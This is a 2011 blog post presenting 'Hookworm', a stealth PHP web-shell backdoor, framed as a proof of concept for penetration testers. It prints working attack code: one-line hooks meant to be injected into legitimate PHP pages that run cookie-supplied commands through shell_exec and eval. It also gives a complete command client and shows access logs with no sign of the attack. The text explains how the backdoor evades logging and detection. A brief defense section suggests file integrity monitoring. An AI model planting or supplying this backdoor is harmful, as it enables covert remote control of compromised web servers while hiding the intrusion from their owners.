Hookworm Stealth PHP Backdoor

21 November 2011
PHP remote shell backdoors are scripts that are uploaded by attackers onto compromised web servers in order to provide an easy way to issue commands on the remote server. Their capabilities vary, from simple scripts that evaluate URL arguments, execute them with a function, then display the results on the web page, to complex user interfaces that provide point and click functionality to perform many post compromise activities. Hookworm is a proof of concept stealth PHP backdoor designed for penetration testers for post compromise exploitation and defensive testing.

PHP remote shell backdoors are scripts that are uploaded by attackers onto compromised web servers in order to provide an easy way to issue commands on the remote server. Their capabilities vary, from simple scripts that evaluate URL arguments, execute them with a function, then display the results on the web page, to complex user interfaces that provide point and click functionality to perform many post compromise activities. Probably the most notorious PHP backdoor is the C99 shell. The C99 shell has a lot of useful functionality, including quickly searching for sensitive files on the system, exploring running processes, executing commands via the server, and even a handy self uninstall feature.

Screenshot of C99 shell

C99 Shell Shortfalls

C99 shell has two major problems. The first is that it uses URL variables for most of the command execution, meaning it leaves a lot of log files with evidence of what the shell was used for. The second is that the file itself is over 2,500 lines of code. This is problematic for a number of reasons. The first is that it is hard to disguise the C99 shell. Even if the file is renamed there are a number of noticeable strings in the file that make it easy to spot with a grep on the system. Furthermore, the C99 shell relies on command support on the host server putting it out of reach of the attacker once it's written (making it static).

While C99 provides extremely robust function, it lacks subtlety. It is quite easy to configure a stateful or application firewall to examine GET and POST variables to detect the types of illicit behavior going on in the C99 shell. I set out to try and make a stealthier version of the C99 shell in order to determine how best to detect and defeat this sort of attacker tool.

Building a Better Backdoor

There are a number of often overlooked HTTP variables passed between clients and servers that can be used to carry malicious payload. It would be much more difficult to detect C99 like requests if the tool enlisted one or more of these content carriers to break up and disguise attacker commands and responses. While C99 shell contains a lot of useful code, the code is written in PHP and there is no reason why it has to live on the filesystem. If the attacker can simply deliver the code necessary to carry out requested actions, have the server compile and run the code in memory, then deliver a response, there need not be any evidence of the attacker on the filesystem other than a small "hook" that would intercept the surreptitious commands from the attacker and issue responses. Such a hook could be embedded in existing PHP code, in order to disguise its presence. Hiding the hook in such a way would cause it to operate in a sort of parasite-and-host model with the hook as the parasite and the legitimate PHP file as the host. Requests to the hook would be logged as requests to the host and seem completely innocuous. This "hookworm" approach is much stealthier than the C99 shell but sacrifices none of the functionality.

Most PHP compromises follow a vulnerability exploit such as a remote file include or sql injection vulnerability. As soon as the attacker gains the ability to write to an area of the filesystem handled by a PHP enabled webserver they can gain persistence. If the attacker can gain access to alter a legitimate file they can easily insert the Hookworm.

Introducing Hookworm

The following is a prototype of the Hookworm code. This code simply looks for cookies submitted by the browser and responds. Cookies have limited data carrying ability as they have a limited capacity (4096 bytes). However, there is a very high limit on the number of cookies a site can set (minimum of 300 per RFC 2109), so by breaking up responses among any number of cookies the Hookworm can transmit large data despite the cookie payload restriction. Notably these restrictions are set on the client, and since the attacker controls the client, it is trivial to bypass these restrictions (although again, detection of 2 GB cookies is trivial as well). Where possible, this data could be sent over HTTPS, with secure cookies, further hampering discovery and detection. This version of Hookworm delivers commands via a single cookie over unencrypted HTTP. With the following code injected into a host PHP page, Hookworm data is encapsulated in the response and easily parsed by the Hookworm client:

<?php if(isset($_COOKIE['wormcmd'])) {echo $_COOKIE['delim'] . shell_exec($_COOKIE['wormcmd']) . $_COOKIE['delim'];}?>

We can construct a client using PHP to set delimiter cookies and issue commands. The delimiters are set by the Hookworm user, so are not predictable for IDS system and are used to obfuscate the Hookworm responses within legitimate HTML response. The following client sets up the initial connection and then performs a loop over input until the 'exit' command is issued.

<?php
echo "Enter the IP of the host to connect to:\n";
$host = trim(fgets(STDIN, 256));
echo "Host set to $host\n";
echo "Enter the relative path to the Hookworm (ex: /index.php):\n";
$file = trim(fgets(STDIN, 256));
echo "Enter the delimiter you'd like to use (ex: '***')";
$delim = trim(fgets(STDIN, 256));
if ($delim == '') $delim = "***"; // delimiter

while (1) {
	echo "hookworm> ";
	$command = trim(fgets(STDIN, 256));
	if ($command == 'quit' || $command == 'exit') break;
	$out = "GET $file HTTP/1.1\r\n";
	$out .= "Host: $host\r\n";
	$out .= "Connection: Close\r\n";
	$out .= "Cookie: wormcmd=$command; delim=$delim\r\n";
	$out .= "\r\n";
	if (!$fp=fsockopen($host,80, $errno, $errstr, 15))  return false;
	  
	fwrite($fp, $out);
	$str = ""; 
	//read in a string which is the contents of the required file
	while (!feof($fp)) {
		$str.=fgets($fp, 512);
	}
	fclose($fp);
	
	$output_start = strpos($str,$delim)+strlen($delim);
	$output_end = strpos($str,$delim,$output_start);
	$output = substr($str, $output_start, $output_end-$output_start);
	
	echo $output;
}
?>

Once the Hookworm is installed we can quickly connect to it using the command line and issue successive commands in a pseudo shell:

$ php hookworm.php 
Enter the IP of the host to connect to:
192.168.1.3
Host set to 192.168.1.3
Enter the relative path to the Hookworm (ex: /index.php):
/index.php
Enter the delimiter you'd like to use (ex: '***'): 
***
wormcmd> ls
c99.php
drupal-5.23
drupal-5.23.tar.gz
drupal-6.20
drupal-6.20.tar.gz
index.php
osticket_1.6.0
osticket_1.6.0.tar.gz
wormcmd> pwd
/var/www/html
wormcmd> quit
$ 

Looking at the log files on the target we see requests to the infected page (index.php) but no evidence of any illicit intent:

# tail /var/log/httpd/access_log
192.168.1.1 - - [29/Apr/2011:08:43:40 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:44:13 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:44:31 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:45:09 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:45:37 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:45:57 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:46:23 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:46:34 -0700] "GET /index.php HTTP/1.1" 200 257 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:56:06 -0700] "GET /index.php HTTP/1.1" 200 257 "-" "-"
192.168.1.1 - - [29/Apr/2011:08:56:15 -0700] "GET /index.php HTTP/1.1" 200 154 "-" "-"

The above code works quite well for basic functionality, but there are some issues. It is extremely advantageous that Hookworm runs in the context of the PHP enabled web server, but with the configuration previously listed, every client command is actually forked to the shell. This makes it impossible for the Hookworm client to interact directly with PHP to do things like dump the values of application variables (which could include goodies like database connection credentials). The expanded Hookworm code found below enables the client to issue both PHP and shell commands. There is a danger in this functionality, however, in that sloppy PHP commands could result in error logs being written which could leave evidence that the attacker was present. To protect against this possibility the updated Hookworm client turns off error reporting with every request. In addition, it provides some pre-canned commands and a help menu to allow users to quickly perform post exploitation tasks like searching for .htaccess files or configuration files, in much the same way that C99 does.

Another interesting caveat of the cookie approach is semi-colons. Because these characters are used to separate cookie name-value pairs we have to use some sort of encoding to pass the string properly. Thankfully, the urlencode() function makes this possible.

An updated version of the client would look thus:

<?php if(isset($_COOKIE['wormcmd'])) {eval($_COOKIE['wormcmd']); echo $_COOKIE['delim'] . $r . $_COOKIE['delim'];}?>

v1.0 and Planned Improvements

An updated version of the Hookworm code can be found here. There is a bit more functionality added to that version, but a lot is still missing. It would be nice to add an easy SQL client to connect to databases as well as state in the shell (as it stands the code always executes in the context of the working directory of the hook, regardless of "cd" commands). I'm interested in feedback though so if you have suggestions or requests please e-mail them to me.

Caveat Emptor

I've developed this code as proof of concept only, it is not intended for malicious purposes. It is my desire to provide a tool to penetration testers in order to evaluate defensive strategies and techniques. I am not currently aware of any intrusion detection system or firewall that would effectively capture or deny Hookworm and would like to see solutions developed.

Defense

Defending against the Hookworm backdoor is extremely difficult. It is possible to write network sniffer rules to detect the incoming cookies in HTTP requests, but it would be trivial to reconfigure the client code to change the cookie name and configuration (look for this feature in future versions). Because Hookworm is designed to hook into existing good files it is difficult to detect illegitimate requests that carry command payload. At this time I am not aware of any web application firewall designed to detect unusual cookies in HTTP requests to a server. Thus, the only effective method of defending against Hookworm is to prevent infection by the parasite code in the first place. Assuming that attackers will attempt to inject the hook using a compromise in a web application, blocking write access to PHP files served by the webserver is critical. Barring this defense, detection of an altered PHP file would be key. A mechanism that enables a file integrity checking of the files in the web root (OSSEC HIDS offers this feature) could detect the addition of the hook code and alert admins that something was afoot. Aside from this defensive strategy, however, I am unaware of any effective means of protection. I have developed Hookworm as a way of testing defensive techniques and would be eager to hear of other effective ways of preventing/detecting hookworm to add to this analysis.